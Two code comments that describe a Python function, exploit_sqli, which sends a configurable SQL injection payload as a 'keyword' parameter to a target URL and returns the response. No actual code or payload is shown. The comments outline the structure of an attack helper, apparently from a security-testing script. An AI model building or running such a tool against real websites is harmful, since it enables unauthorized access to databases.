#This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object.
#The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string.
